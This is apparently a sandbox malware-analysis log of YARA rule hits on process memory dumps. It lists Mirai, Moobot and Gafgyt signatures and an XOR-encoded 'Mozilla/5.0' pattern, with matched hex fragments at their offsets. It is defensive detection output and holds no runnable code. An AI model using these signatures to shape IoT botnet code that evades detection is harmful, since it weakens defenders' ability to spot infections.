6695.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6695.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7112.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7272.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7272.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7272.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7272.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7272.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7272.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7408.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7356.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6914.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6914.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6914.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6914.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6914.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6914.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7345.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7345.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7345.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7345.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7345.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7345.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6303.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7348.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7348.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7348.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7348.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7348.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7348.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6600.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6600.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6600.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6600.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6600.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6600.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
